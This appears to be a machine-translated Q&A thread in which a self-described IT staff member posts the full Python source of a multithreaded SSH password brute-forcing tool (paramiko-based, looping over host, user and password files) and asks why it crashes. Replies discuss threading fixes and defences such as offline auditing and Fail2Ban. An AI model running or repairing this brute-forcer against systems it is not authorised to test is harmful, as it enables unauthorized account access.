2012-04-24 16 views
1

私はpythonプログラマーではありませんが、完璧に動作していたコードのスナップを取得しましたが、トラフファイルをループしてデータを取得して同じタスクを実行する必要があります。どうやらそれが正常に動作しますが、最初の行の最後に、それはこのようにクラッシュして得られた:複数のループとスレッドを持つPythonの問題

python x.py -H SSH-Hosts.txt -U Users.txt -P passlist.txt 

************************************* 
*SSH Bruteforcer Ver. 0.2   * 
*Coded by Christian Martorella  * 
*Edge-Security Research    * 
*[email protected]     * 
************************************* 

Username file: Users.txt 
Password file: passlist.txt 
************************************* 


HOST: 192.168.1.3 
Username: bob 
Trying password... 
zzzzzz 


Username: john 
Trying password... 

Traceback (most recent call last): 
    File "x.py", line 146, in <module> 
    test(sys.argv[1:]) 
    File "x.py", line 139, in test 
    test_thread(name) 
    File "x.py", line 81, in test_thread 
    thread.join() 
Zxcvbnm 

アプリケーション弱いSSHアカウントをテスト小さなツールです、我々は最近、いくつかのブルートフォース攻撃のターゲットだったと利用可能なアプリケーション(Medusaなど)がクラッシュしたため、私たちはすべてのアプリケーションをブロックしましたが、定期的に弱いアカウントをテストしたいと思っています。私たちにはあまり現実的ではありません。それは不正なテストではなく、私はITのメンバーであり、違反を防ぐためにやっています!

import thread 
import time 
from threading import Thread 
import sys, os, threading, time, traceback, getopt 
import paramiko 
import terminal 

global adx 
global port 

adx="1" 
port=22 
data=[] 
i=[] 

term = terminal.TerminalController() 
paramiko.util.log_to_file('demo.log') 

print "\n*************************************" 
print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+"   *" 
print "*Coded by Christian Martorella  *" 
print "*Edge-Security Research    *" 
print "*[email protected]     *" 
print "*************************************\n" 

def usage(): 
    print "Usage: brutessh.py options \n" 
    print "  -H: file with hosts\n" 
    print "  -U: file with usernames\n" 
    print "  -P: password file \n" 
    print "  -p: port (default 22) \n" 
    print "  -t: threads (default 12, more could be bad)\n\n" 
    print "Example: brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n" 
    sys.exit() 

class force(Thread): 
    def __init__(self, name): 
     Thread.__init__(self) 
     self.name = name 

    def run(self): 
     global adx 
     if adx == "1": 
      passw=self.name.split("\n")[0] 
      t = paramiko.Transport(hostname) 
      try: 
       t.start_client() 
      except Exception: 
       x = 0 

      try: 
       t.auth_password(username=username,password=passw) 
      except Exception: 
       x = 0 

      if t.is_authenticated(): 
       print term.DOWN + term.GREEN + "\nAuth OK ---> Password Found: " + passw + term.DOWN + term.NORMAL 
       t.close() 
       adx = "0" 
      else: 
       print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL 
       t.close() 
     time.sleep(0) 
     i[0]=i[0]-1 


def test_thread(names): 
    i.append(0) 
    j=0 
    while len(names): 
     try: 
      if i[0]<th: 
       n = names.pop(0) 
       i[0]=i[0]+1 
       thread=force(n) 
       thread.start() 
       j=j+1 
     except KeyboardInterrupt: 
      print "Attack suspended by user..\n" 
      sys.exit() 
    thread.join() 

def test(argv): 
    global th 
    global hostname 
    global username 
    th = 12 
    if len(sys.argv) < 3: 
     usage() 
    try : 
     opts, args = getopt.getopt(argv,"H:U:P:p:t:") 
    except getopt.GetoptError: 
     usage() 
    for opt,arg in opts : 
     if opt == '-U': 
      username = arg 
     elif opt == '-H': 
      hostname =arg 
     elif opt == '-P': 
      password = arg 
     elif opt == '-p': 
      port = arg 
     elif opt == "-t": 
      th = arg 

    try: 
     h = open(hostname, 'r') 
    except: 
     print "Can't open file with hostnames\n" 
     sys.exit() 

    try: 
     u = open(username, "r") 
    except: 
     print "Can't open username file\n" 
     sys.exit() 

    try: 
     f = open(password, "r") 
    except: 
     print "Can't open password file\n" 
     sys.exit() 

    print term.RED + "Username file: " +term.NORMAL + username + "\n" +term.RED + "Password file: " +term.NORMAL+ password 
    print "*************************************\n\n" 

    hostfile = h.readlines() 
    for hostname in hostfile: 

     print "HOST: " + hostname.rstrip('\n') 
     userfile = u.readlines() 
     for username in userfile: 

      print "Username: " + username.rstrip('\n') 

      print "Trying password...\n" 
      name = f.readlines() 
      #starttime = time.clock() 
      test_thread(name) 
      #stoptime = time.clock() 
      #print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime) 
      print "\n" 

if __name__ == "__main__": 
    try: 
     test(sys.argv[1:]) 
    except KeyboardInterrupt: 
     print "Attack suspended by user...\n" 
     sys.exit() 

この問題を解決するにはどうすればよいですか?

ありがとうございます。

+1

完全なエラーメッセージはコピーされていません。スタックトレースの一部です。完全なエラーメッセージを入力してください。 –

+0

スティーブ・メイネに感謝してくれてありがとうございます。メインの投稿を完全なエラーで更新しました。ありがとう。 – user1319402

答えて

1
import thread 
... 
from threading import Thread 

ほとんど同じ名前の2つのクラスをインポートする理由がわかりません。危険なようだ!

Thread.join()はthread.join()が必要ではないと思うのですが、スレッドにはjoin呼び出しがありますがスレッドはそうではないからです。

+0

こんにちはcorn3lius、私はThread.join()をThread.join()に置き換えました。エラーは同じように続きます。また、元のスクリプトにはこの2つのスレッドのエントリがあり、うまくいきました。ファイルからのホスト名とファイルからのユーザー名を読み込むルーチンを追加しました。他のアイデア?スクリプトをテストして、エラーが見つかったかどうか確認できますか?おかげさまで – user1319402

+0

Python 2.5.7と同じPythonバージョンを使用していますか?3.xと全く違った動作をしますか? try python -V – corn3lius

+0

私はPython 2.6.5を使用しています。私はPython 3.1.2で自分のコードを実行しようとしましたが、失敗しました(構文エラー)。ありがとう – user1319402

1

マシンにアクセスできるので、パスワードファイルをダンプして弱いアカウントを見つけるにはJohn the Ripperを使用するほうがずっと良いでしょう。オフラインパスワード攻撃は、オンライン攻撃よりはるかに高速です。 Fail2Banなどを実行して、酷いIPをブロックすることによってSSHブルートフォース攻撃を自動的にブロックするようにしてください。

+0

Thanks 01100110。私たちはLinuxボックスでfail2Banを使用していますが、ルータ、スイッチなどの他のシステムがあり、ハッシュをダンプするために接続できないため、唯一のオプションです。 ありがとう – user1319402

関連する問題